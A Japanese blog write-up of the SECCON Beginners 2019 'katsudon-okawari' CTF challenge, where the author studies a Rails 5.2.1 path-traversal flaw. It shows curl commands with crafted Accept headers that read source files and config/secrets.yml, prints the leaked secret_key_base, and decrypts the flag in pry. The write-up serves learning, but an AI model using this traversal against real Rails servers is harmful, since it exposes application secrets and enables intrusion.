セキュリティ系の勉強・その他開発メモとか雑談. Twitter, ブログカテゴリ一覧
本ブログはあくまでセキュリティに関する情報共有の一環として作成したものであり,公開されているシステム等に許可なく実行するなど、違法な行為を助長するものではありません.

【SECCON for Beginners 2019】katsudon-okawari 勉強してみる会

//

この記事は

弱々な自分のためにWriteUp見て勉強するだけなので、詳しく知りたい方は私が参考にしたサイトさんへ飛んでください!



参考サイト

teppay.hatenablog.com



katsudon-okawari

katsudonという問題が出題されたのですが、想定解でないものが見つかりおそらく再調整された問題がこれ。のちにわかるのですが、katsudonとは違う鍵の認証をコントローラでやってます。katsudonは下のコードだった。

serial_code = params[:serial_code]
@coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code)


で、みんな恐らくググってたどり着いたであろうこのサイトによると、特定の方法でレンダされたページから、ディレクトリトラバーサル攻撃可能だそうです。普通にやばいけど一般的にRailsでは、MVCがいい感じに呼び合ってくれるので、RESTfulなページでは発生しなさそう。それこそ404ページとかその辺りの表示に使うかも。
で、今回出題にはRailsのバージョンが5.2.1との指定があったので、恐らく上記の脆弱性を使用する。

今回渡されるフラグの元は

bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==—cUS9fQetfBC8wsV7—E8vQbRF4vHovYlPFvH3UnQ==

であり、これが掲載されたページのソースには下のコメントがあったのでここから、ファイルを覗き見て複合するって感じだそうです。

..
<div class="main">
bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ==
</div>
..


まずコメントのページにアクセス

$curl https://katsudon-okawari.quals.beginners.seccon.jp/flag -H 'Accept: ../../app/controllers/coupon_controller.rb{{'

class CouponController < ApplicationController
  def index
  end

  def show
    serial_code = params[:serial_code]
    msg_encryptor = ::ActiveSupport::MessageEncryptor.new(Rails.application.secrets[:secret_key_base][0..31], cipher: "aes-256-gcm")
    @coupon_id = msg_encryptor.encrypt_and_sign(serial_code)
  end
end


Rails.application.secrets[:secret_key_base][0..31]からconfig/secrets.ymlを読めばキーがわかりそうです。余談ですが、Rails 5.2からこの手段config/secrets.ymlは廃止されcredentials.yml.encになったはずです。(一応この手法も残されてはいた)

$ curl https://katsudon-okawari.quals.beginners.seccon.jp/flag -H 'Accept: ../../config/secrets.yml{{'
...
production:
  secret_key_base: 4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34

これでsecret_key_baseがわかったので、解けそうです。

[1] pry(main)> secrets  = '4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34'[0..31]
=> "4e78e9e627139829910a03eedc8b2455"
[2] pry(main)>
[3] pry(main)>
[4] pry(main)> msg_encryptor = ::ActiveSupport::MessageEncryptor.new(secrets, cipher: "aes-256-gcm")
=> #<ActiveSupport::MessageEncryptor:0x00007fe2da26b500
 @aead_mode=true,
 @cipher="aes-256-gcm",
 @options={:cipher=>"aes-256-gcm"},
 @rotations=[],
 @secret="4e78e9e627139829910a03eedc8b2455",
 @serializer=Marshal,
 @sign_secret=nil,
 @verifier=ActiveSupport::MessageEncryptor::NullVerifier>
[5] pry(main)> flag = msg_encryptor.decrypt_and_verify('bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ==')
=> "ctf4b{06a46a95f2078ae095470992cd02f419}"
[6] pry(main)>


フラグは ctf4b{06a46a95f2078ae095470992cd02f419}
頑張ってれば解けてたかもなぁ、(悔)まぁ惜しくても解けなきゃ0点なんで

余談

こんな感じで他のファイルも見られる。

$ curl nners.seccon.jp/flag -H 'Accept: ../../config/routes.rb{{'

Rails.application.routes.draw do
  # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
  root to: "application#index"
  get '/storelists', to: "storelists#index"
  get '/flag', to: "application#flag"
  get '/coupon', to: "coupon#index"
  post '/coupon', to: "coupon#show"
end
$curl https://katsudon-okawari.quals.beginners.seccon.jp/flag -H 'Accept: ../../app/controllers/application_controller.rb{{'

class ApplicationController < ActionController::Base
  def index
    redirect_to "/storelists"
  end

  def flag
    render file:  "#{Rails.root}/flag.txt"
  end


Railsのコントローラの命名規則とか守ってなかったり、ルーティングも即席っぽかったりと、CTFの問題を作る人はきっと大変なんだろうなぁ、ありがたいなぁと思いました。